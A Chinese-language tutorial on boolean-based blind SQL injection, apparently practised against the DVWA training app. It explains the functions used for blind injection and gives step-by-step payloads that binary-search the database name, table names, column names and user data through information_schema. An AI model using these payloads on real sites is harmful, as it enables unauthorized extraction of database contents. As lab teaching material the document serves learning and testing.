布爾注入:
當我們在注入的過程中輸入的語句在頁面沒有數據返回點,這就需要利用布爾型盲注一步步來猜取想要的數據。(盲注分為布爾盲注和時間盲注)
盲注常用函數:
length() 返回字符串的長度, 可以返回 數據庫 表明 列名的 長度
substr() 截取字符串。subster(string, start, length) 字符串, 從第幾位截取,截取長度是多少
ascil() 返回ascil碼
基於時間盲注:
sleep(n) 將程序掛起一段時間,n為n秒
if(expr1,expr2,expr3) if判斷語句
布爾注入流程:
1.判斷是否存在注入,字符型還是數字型。
2.猜解當前數據庫長度
這個注入過程就相當於 輸入者跟數據庫進行對話
你問: 1' and length (database())=1 # ( 這里猜測數據庫名稱為1個字符)
數據庫回答: missing
繼續猜測 1‘and length(database())=4 # 當我們輸入到4的時候 數據庫返回用戶id存在 數據庫中 ,那么可得出數據庫名稱為4位
猜名稱 (二分法逐字猜解)
ascii碼值: A到Z的ASCII碼是65到90,a到z的ascii碼值是97到122
首先,我們用二分法取中間數來猜取數據庫名稱的第一位字母
1' and ascii(substr(database(),1,1))>97 #
顯示存在,說明數據庫的第一個字母是大於或等於97的,
1' and ascii(substr(database(),1,1))<122 #
繼續使用二分法測試,發現小於122
1' and ascii (substr(database(),1,1))<109 #
測試發現小於109
1' and ascii (substr(database(),1,1))<102 #
發現小於102繼續測試
1' and ascii (substr(database(),1,1))<100 #
發現報錯了,這就說明 數據庫名稱<=100
1' and ascii (substr(database(),1,1))<=100 #
數據庫的第一位數字的ascii為100 即為d
剩下三位 只需更改substr 的 第二個參數 即可 獲取完整的數據庫名稱
3.猜解表名 (猜解表的數量)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
顯示存在,說明 這個數據庫里有 2個表
(猜解第⼀個表名長度)
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
顯示第一個表名的這個長度不為1. 繼續測試
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #
不為2
.
.
.
1' and length (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
這里顯示猜出第一個表名的為9
接下來只要更改limit 的參數(1.1) 即可猜解第二張表的長度。
猜解第一個表的名字
1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >97 #
通過二分法和猜解數據庫名稱一樣,取猜解表名。
最后猜解表名為 guestbook users
猜解表的字段名 數量:
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 #
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #
猜解第一個字段的長度
方法同猜解表名長度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 #
猜解第一個字段名
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))>97 # 顯⽰存在
猜解數據
依然是使用二分法猜解數據
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>96 #